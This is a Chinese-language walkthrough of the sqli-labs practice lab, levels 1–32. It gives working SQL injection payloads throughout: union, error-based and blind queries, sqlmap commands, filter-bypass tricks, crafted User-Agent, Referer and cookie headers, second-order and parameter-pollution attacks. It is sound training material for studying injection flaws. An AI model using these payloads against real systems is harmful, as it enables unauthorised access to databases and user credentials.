sqli-labs手工注入闯关过程
主要参考文章:
https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-1
基础挑战 1-20关
Less-1
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 单引号字符型注入 | id='$id' |
- 输入
?id=1
回显正常,输入?id=0
没有显示 - 输入
?id=1'%23
和?id=1'--+
都正常回显(#
和--
都是注释符号,在地址栏输入要用url编码,也就是%23
和--+
),判断可能是单引号字符型注入 - 输入
?id=1' order by 3%23
,判断列数为3
手工注入
联合注入
//查数据库名,id=-1是为了让后面的结果显示出来,group_concat()的作用是将多行数据合并到一行数据,为了能将查到的所有的数据库名全部显示出来
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata%23
//查表名,table_schema='security'意思是表所在的数据库是security
?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
//查列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
//查数据,concat_ws()是为了将username和password对应起来,并且用:分割
?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from security.users%23
布尔盲注
?id=1' and substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i'%23
延时盲注
?id=1' and if(substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i',sleep(3),1)%23
报错注入
?id=1' and (select 1 from (select count(*),concat((select concat(schema_name,0x7e) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
sqlmap
联合查询注入
sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --dbs
sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security --tables
sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security -T users --columns
sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=U -v 3 -D security -T users -C username,password --dump
报错注入
sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=E -v 3 --dbs
布尔盲注
sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=B -v 3 --dbs
延时盲注
sqlmap -u http://www.sqlilabs.com/Less-1/?id=1 --dbms=MySQL --random-agent --flush-session --technique=T -v 3 --dbs
Less-2
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 数字符型注入 | id=$id |
- 输入
?id=1
回显正常 - 输入
?id=1' %23
报错,猜测是数字型注入或双引号字符型注入 - 输入
?id=1 and 1=1
回显正常,输入?id=1 and 1=2
没有反应,确定是数字型注入 - 剩下的和
Less-1
步骤一样,只是不需要注释和闭合单引号
Less-3
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 单引号字符型注入 | id=('$id') |
输入
?id=1'
出现如下错误,这里出现了一个括号输入
?id=1')%23
,回显正常,说明拼接方式为id=('$id')
- 和Less-1的注入方法类似,不多BB
Less-4
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 双引号字符型注入 | id=("$id") |
输入
?id=1'
回显正常,输入?id=1"
出现如下错误输入
?id=1")%23
,回显正常,说明拼接方式为id=('$id')
- 和Less-1的注入方法类似,不多BB
Less-5
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错型注入、布尔盲注、延时盲注 | id='$id' |
输入
?id=1
,这是什么东东,没有回显,不输出查询的结果!输入
?id=0
,跟?id=1
结果不同,可以尝试盲注,参考Less-1输入
?id=1'
,报错,可以尝试报错型注入,参考Less-1
Less-6
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错型注入、布尔盲注、延时盲注 | id=(('$id')) |
- 参考Less-5,只需要将单引号改为双引号
Less-7
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id=(('$id')) |
报错但是没有详细的报错结果,直接排除报错注入
输入
?id=1'%23
,报错,输入?id=1"%23
,报错,不是单引号和双引号注入- 输入
?id=1 and 1=2
,不报错,不是数字型注入 - 输入
?id=1')%23
,报错,输入?id=1")%23
,不报错,猜测闭合方式为id=("$id")
查看源码,发现拼接方式为
id=(('$id'))
,吐了提示用
outfile
,那么我们就使用 outfile 导出到文件来查询数据
?id=1')) union select * from security.users into outfile "users.txt"%23
- 到
security
数据库对应的目录下查看,发现 users.txt 文件,查询结果都导入到这里面了
Less-8
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id='$id' |
- 参考Less-1
Less-9
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 延时盲注 | id='$id' |
- 这个主要学习如何判断能否使用延时盲注
?id=1'))--+
,?id=1')--+
- 我尝试了
?id=0
,?id=1
,?id=1'--+
,?id=1"--+
,?id=1')--+
,?id=1")--+
,?id=1'))--+
,?id=1"))--+
都是一个样子,怎么办?无法判断闭合方式 - 我们尝试一下用sleep(),输入
?id=1 and sleep(5)
,?id=1' and sleep(5)--+
,?id=1" and sleep(5)--+
,发现用单引号闭合的时候页面才会延时,所以闭合方式为单引号 - 使用延时盲注,参考Less-1
Less-10
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 延时盲注 | id="$id" |
- 参考Less-9,闭合方式为双引号
Less-11
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错注入,布尔盲注,延时盲注 | username='$uname' |
- 不再是地址栏里输入了,改成了POST方式,我们直接在输入框里输入就可以了
and sleep()和 or sleep() 详解
- 测试发现
and
不管用,只能用or
,为什么? - 认真看下面的查询过程,重点看查询时间
//这是表emails
mysql> select * from emails;
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+
mysql> select id from emails where id='1' or sleep(2);
+----+
| id |
+----+
| 1 |
+----+
1 row in set (14.06 sec)
mysql> select id from emails where id='0' or sleep(2);
Empty set (16.04 sec)
mysql> select id from emails where id='1' and sleep(2);
Empty set (2.00 sec)
mysql> select id from emails where id='0' and sleep(2);
Empty set (0.00 sec)
- 看出来点什么了吗?为什么使用
or sleep(2)
的查询时间都是十几秒,使用and sleep(2)
的查询时间是2秒 - 我是这样认为的,我们使用
select id from emails where id='1' or sleep(2)
查询的时候,会先执行select id from emails
,执行结果如下,我把它叫为表A
,把数据库最后查到要返回给我们的结果称为表B
mysql> select id from emails;
+----+
| id |
+----+
| 1 |
| 2 |
| 3 |
| 4 |
| 5 |
| 6 |
| 7 |
| 8 |
+----+
- 剩下的
where id='1' or sleep(2)
怎么执行呢? - 数据库见到
or
的时候,会先看前面的条件,在这里就是id='1'
,在表A
里一行一行的判断id
是否等于1,如果等于则将该条目插入最终要返回的表B
。再看后面的条件,也就是sleep(2)
,跟前面一样,在表A
里一行一行的判断sleep(2)
,(已经不是表A了,因为使用了or,已经满足第一个条件的条目就不会再被第二个条件查询判断了),但是这怎么判断?数据库在每次判断的时候会执行sleep(2)
,一共有7行(除去了id=1的那一行),执行7次sleep(2)
,一共要用14秒,加上其他的查询时间,最后是14秒多一点,符合上面我们查询花费的时间 select id from emails where id='0' or sleep(2)
查询花费16秒多的时间,也符合分析分析过了
or
,我们再分析and
- 与
or
不同的是,and
会先看它前面的条件,将满足第一个条件的条目插入一个表,然后第二个条件是在这张表里继续查询的 - 以
select id from emails where id='1' and sleep(2);
为例,id='1'
查到一行数据,然后查sleep(2)
的时候就只执行一次,花费2秒;如果id='1'
查到两行数据,然后查sleep(2)
的时候就会执行两次,花费4秒
万能密码
1' or 1=1#
联合查询注入
- 注意POST 数据里面不能有 +
1' union select 1,group_concat(schema_name) from information_schema.schemata#
报错注入
1' or (select 1 from (select count(*),concat((select concat(schema_name,0x7e) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
布尔盲注
0' or substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i'#
延时盲注
//等待时间不是2秒,跟表的大小有关
1' or if(substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i',sleep(2),1)#
Less-12
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错注入,布尔盲注,延时盲注 | username=("$uname") |
- 类似Less-11,注意修改闭合方式
Less-13
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错注入、布尔盲注,延时盲注 | username=('$uname') |
- 类似Less-11,注意修改闭合方式
Less-14
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错注入、布尔盲注,延时盲注 | username="$uname" |
- 类似Less-11,注意修改闭合方式
Less-15
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 布尔盲注,延时盲注 | username='$uname' |
- 类似Less-11,但是不能使用报错注入,查看源码发现
print_r(mysql_error());
被注释掉了
Less-16
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 布尔盲注,延时盲注 | username=("$uname") |
- 类似Less-15,注意闭合方式不同
Less-17
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错注入、布尔盲注,延时盲注 | username=filter('$uname') password='$passwd' |
- 这道题对
$uname
进行了过滤,但是却没有对$passwd
进行过滤,所以注入点在密码上 - 而且这里是更新密码,不是
select * from users where username='admin'
,而是updata users set password='$passwd' where username='admin'
,所以不能联合查询注入 - 演示一下报错注入,布尔盲注和延时盲注类似,注意是在密码框输入
//二者都可
1' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
0' or (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
Less-18
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错注入、布尔盲注,延时盲注 | username=filter('$uname') |
简单源码分析
//过滤了账号密码
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
//获取请求的 uagent 和 ip 地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
//sql语句
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
//如果上面查询成功,则执行下面sql语句
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
- 账号和密码被过滤了不好注入,但是没有过滤
$uagent
和$IP
PHP 里用来获取客户端 IP 的变量
$_SERVER['HTTP_CLIENT_IP']
这个很少使用,不一定服务器都实现了。客户端可以伪造。$_SERVER['HTTP_X_FORWARDED_FOR']
,客户端可以伪造。$_SERVER['REMOTE_ADDR']
,客户端不能伪造。
所以我们只能伪造$uagent
,抓包修改该字段,必须输入正确的账号密码才能执行insert
语句,还要注意闭合,不能使用#
,可以用'1'='1
来闭合单引号。而且这是insert语句,所以不能使用联合查询注入
POST /Less-18/ HTTP/1.1
Host: www.sqlilabs.com
User-Agent: 1' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://www.sqlilabs.com
Connection: close
Referer: http://www.sqlilabs.com/Less-18/
Upgrade-Insecure-Requests: 1
uname=admin&passwd=admin&submit=Submit
- 布尔盲注和延时盲注类似
Less-19
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错注入、布尔盲注,延时盲注 | username=filter('$uname') |
- 19和Less-18类似,也是insert语句,只不过我们伪造的不是
$uagent
而是$referer
报错注入
POST /Less-19/ HTTP/1.1
Host: www.sqlilabs.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://www.sqlilabs.com
Connection: close
Referer: 0' or (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
Upgrade-Insecure-Requests: 1
uname=admin&passwd=admin&submit=Submit
Less-20
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合查询注入、报错注入、布尔盲注,延时盲注 | username='$cookee' |
源码分析
if(!isset($_COOKIE['uname']))
//过滤uname和passwd
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
else
if(!isset($_POST['submit']))
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
发现cookie
没有被过滤,我们可以利用cookie
注入,抓包修改cookie
(这里以报错注入为例)
GET /Less-20/index.php HTTP/1.1
Host: www.sqlilabs.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: uname=-1' or (select 1 from (select count(*),concat((select concat(schema_name,0x7e) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
高级注入 21-38关
Less-21
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合查询注入、报错注入、布尔盲注,延时盲注 | username=('$cookee') |
源码分析
if(!isset($_COOKIE['uname']))
//过滤uname和passwd
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
else
if(!isset($_POST['submit']))
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
- Less-21和Less-20类似,只不过21关对
$_COOKIE['uname']
进行了base64编码,以及闭合方式不同
GET /Less-21/index.php HTTP/1.1
Host: www.sqlilabs.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cookie: uname=Jykgb3IgIChzZWxlY3QgMSBmcm9tIChzZWxlY3QgY291bnQoKiksY29uY2F0KChzZWxlY3QgY29uY2F0KHNjaGVtYV9uYW1lLDB4N2UpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIGxpbWl0IDAsMSksZmxvb3IocmFuZCgwKSoyKSl4IGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBncm91cCBieSB4KWEpIw==
Less-22
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合查询注入、报错注入、布尔盲注,延时盲注 | username="$cookee" |
源码分析
if(!isset($_COOKIE['uname']))
//过滤uname和passwd
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
else
if(!isset($_POST['submit']))
$cookee = $_COOKIE['uname'];
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"'; //这里给$cookee加上了双引号
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
- 参考Less-20,只是闭合方式不同
Less-23
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、报错注入、布尔盲注,延时盲注 | id='$id' |
源码分析
if(isset($_GET['id']))
$id=$_GET['id'];
//下面将$id里面的 # 和 -- 替换为空
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
联合查询注入
注释符被过滤,我们可以用闭合方式来绕过,以联合查询注入为例
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and '1'='1
sqlmap
sqlmap -u http://www.sqlilabs.com/Less-23/?id=1 --tamper=versionedkeywords.py --dbms=MySQL --random-agent --flush-session --dbs
- 很奇怪,sqlmap不能使用联合查询注入,但是手工注入却可以使用联合查询注入,手工还是有自己的优势吧
Less-24
本题使用的是二次注入,详细学习一下
源码分析
index.php
主要记录了表单相关的信息,没有啥敏感代码,当做 Index.html 来看待就可以了,具体的界面如下:
提示输入用户名和密码,用户名和密码正确之后就可以成功登陆,否则登陆失败。
忘记密码
:左下角的忘记密码选项提示:如果你忘记密码 请 hack it
新建用户
:右下角新建用户可以新建一个自己的用户
failed.php
检测会话,如果 cookie 里面没有 Auth 参数的话,就跳转到 index.php
forgot_password.php
简单提示:如果你忘记密码 请 hack it
Logged-in.php
登录后的信息展示,显示登录名称并且提供了修改密码的表单
new_user.php
创建新用户的表单页面,本文件主要存放前段代码。
login_create.php
创建新用户的后端代码,下面来简单理一下创建新用户代码的流程:
# 接受用户提交的用户名和密码值 并进行 mysql 安全函数转义
username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
# 执行以下 sql 语句
$sql = "select count(*) from users where username='$username'";
如果当前用户已经存在,无法注册,重新跳转到该页面
if 两次输入密码一致:
# 将记录插入数据库中
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
查询完成后 重定向到首页
else:
提示两次输入密码不一致
login.php
验证登录的后端代码
# 登录用户名和密码都被过滤了
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
pass_change.php
登录成功后修改密码的后端代码
if 检测未登录:
重定向到首页
if 检测到提交表单:
# 对 pass 都进行了过滤
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if 两次密码一致:
# 直接将 username 拼接到 SQL 语句,执行 update 语句
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
else:
提示密码不一致 并重定向到 fail.php
思路分析
登录时的账号密码都被转义了,也就不存在注入。
我们可以先创建一个新用户admin'#
,创建新用户时username
被转义,不能被注入,但是我们不着急用它,先将它插入到数据库里,我们创建完新用户后admin'#
就被插入到数据库里了。接着我们使用该用户登录,登陆上后选择修改密码。修改密码时username
没有过滤直接拼接到sql语句中,这是的username=admin'#
,这就形成了注入
- 简单概括一下,就是我们将精心构造 SQL 语句插入到数据库中,然后又在其他过滤不严格的地方调用了该 SQL 语句,这就形成了二次注入
接着我们结合题目学习一下
- 我们先注册用户
admin'#
,密码123
,会执行以下代码,将账号密码插入数据库中
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
执行结果如下
mysql> select * from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
| 2 | admin'# | 123 |
+----+----------+----------+
- 然后我们使用
admin'#
登录,修改密码为456
,会执行以下代码,更新数据库
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
执行结果如下
mysql> select * from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | 456 |
| 2 | admin'# | 123 |
+----+----------+----------+
可见我们直接修改了admin的密码
Less-25
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、报错注入、布尔盲注,延时盲注 | id='$id' |
源码分析
//blacklist()函数,作用是将 or 和 and 替换为空
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
return $id;
}
if(isset($_GET['id']))
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 双写嵌套绕过:
or 被过滤为空,oorr 过滤后变成 or and 被过滤为空,aandnd 过滤后变成 and
- 符号替换绕过:
or > || and > &&
联合查询注入,注意 information 里的 or 也要替换为 oorr
?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3--+
Less-25a
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错注入、布尔盲注,延时盲注 | id=$id |
- 与Less-25类似,只不过闭合方式不同,因为代码中没有输出报错信息,所以无法进行报错注入
Less-26
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、报错注入、布尔盲注,延时盲注 | id='$id' |
源码分析
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //过滤 OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //过滤 AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //过滤 /*
$id= preg_replace('/[--]/',"", $id); //过滤 --
$id= preg_replace('/[#]/',"", $id); //过滤 #
$id= preg_replace('/[\s]/',"", $id); //过滤 spaces(空格)
$id= preg_replace('/[\/\\\\]/',"", $id); //过滤 slashes(斜线)
return $id;
}
过滤了空格 可以使用如下的符号来替代:
符号 | 说明 |
---|---|
%09 | TAB 键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键(垂直) |
%a0 | 空格 |
很奇怪,使用上面符号替代空格后还是失败,换个浏览器,还是不行。自己排查了以下,发现是$id= preg_replace('/[\s]/',"", $id);
在起作用,这行代码不光过滤了空格,%09/%0a/%0b/%0c/%0d
也都被过滤了
?id='%0bunion%0bselect%0b1,database(),3%0band'1'='1
可以使用报错注入,这样可以不用空格,只用括号就可以了
?id=0'||updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(infoorrmation_schema.schemata)),0x7e),1)||'1'='1
- 结果如上图,报错注入获取的数据显示不全,下面分别使用 substr() 和 mid() 两个函数来获取所有数据(需要手动修改参数)
?id=0'||updatexml(1,concat(0x7e,(select(substr(group_concat(schema_name),1,1))from(infoorrmation_schema.schemata)),0x7e),1)||'1'='1
?id=0'||updatexml(1,concat(0x7e,(select(mid(group_concat(schema_name),1,1))from(infoorrmation_schema.schemata)),0x7e),1)||1'='1
Less-26a
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、布尔盲注,延时盲注 | id=('$id') |
与 Less-26 相比,只是拼接方式改变了,因为没有输出报错信息,所以不能使用报错注入,参考Less-26
Less-27
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、报错注入、布尔盲注,延时盲注 | id='$id' |
源码分析
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
上面的代码没有使用/i
,比如/select/i
(它的作用是匹配select,不分大小写),虽然过滤了select、SELECT、Select
,但是selecT
等等都没有过滤,也可以使用双写绕过
updatexml
和extractvalue
也没有被过滤
报错注入
?id='||extractvalue(1,concat(0x7e,database(),0x7e))||'1'='1
?id='||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1
联合查询注入
?id='%0bunioN%0bselecT%0b1,database(),3%0band%0b'1'='1
Less-27a
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、布尔盲注,延时盲注 | id="$id" |
源码分析
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out Select
return $id;
}
与 Less-27 相比,只是拼接方式改变了,因为没有输出报错信息,所以不能使用报错注入,参考Less-27
Less-28
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、布尔盲注,延时盲注 | id=('$id') |
源码分析
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
跟前面一样过滤了空格和注释符,不同的是还过滤了union空格select
,也可以利用双写绕过,unionunion空格select空格select
?id=')%0aunion%0aunion%0aselectselect%0a1,database(),3%0aand%0a('1
因为没有输出报错信息,所以不能使用报错注入
Less-28a
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、布尔盲注,延时盲注 | id=('$id') |
源码分析
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
明明就是Less-28的弟弟,空格和注释都没过滤,嫌麻烦直接照搬Less-28就可以了
Less-29
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、报错注入、布尔盲注,延时盲注 | id='$id' |
源码分析(直接看login.php)
$qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs); //从$qs中截取出id
whitelist($id1); //验证id是否为数字,通过id则继续执行,否则跳转
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//whitelist()函数
function whitelist($input)
{
//匹配只含数字的字符串
$match = preg_match("/^\d+$/", $input);
if($match)
什么也不做
else
跳转到hack.php
}
//java_implimentation()函数
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s); //以&为分隔符把$q_s分割为数组
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2); //取$value的前两个字符
if($val=="id")
{
$id_value=substr($value,3,30); //截取 $value 的3-30 的字符串,作为 id 的值
return $id_value;
echo "<br>";
break;
}
}
}
上面代码的意思就是我们输入的?id
必须为数字才能通过验证,但是存在问题,如果我们传入多个id会发生什么?以传入?id=1&id=2
为例
$id=$\_GET['id']
:apache中$id=2;tomcat中$id=1
规则是
Apache PHP 会解析最后一个参数
Tomcat JSP 会解析第一个参数
$qs = $_SERVER['QUERY_STRING']
:$qs='id=1&id=2'
执行java_implimentation()函数时,foreach()函数会先遍历到id=1
,然后会返回id=1
并执行break
,id=2
就会逃出去,然后就可以绕过whitelist()函数了
明白后直接使用联合查询注入
?id=1&id=' union select 1,database(),3--+
第一个id用来通过whitelist()的检测,后面的id通过$id=$\_GET['id']
直接传入$id,插入了sql语句中
Less-30
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、报错注入、布尔盲注,延时盲注 | id="$id" |
与Less-29类似,只是闭合方式不同
Less-31
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、报错注入、布尔盲注,延时盲注 | id=("$id") |
与Less-29类似,只是闭合方式不同
Less-32
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合查询注入、报错注入、布尔盲注,延时盲注 | id='$id' |
源码分析
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
mysql_query("SET NAMES gbk"); //设置了gbk字符编码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里用的是宽字节注入,不懂的可以看我这篇文章:宽字节注入原理
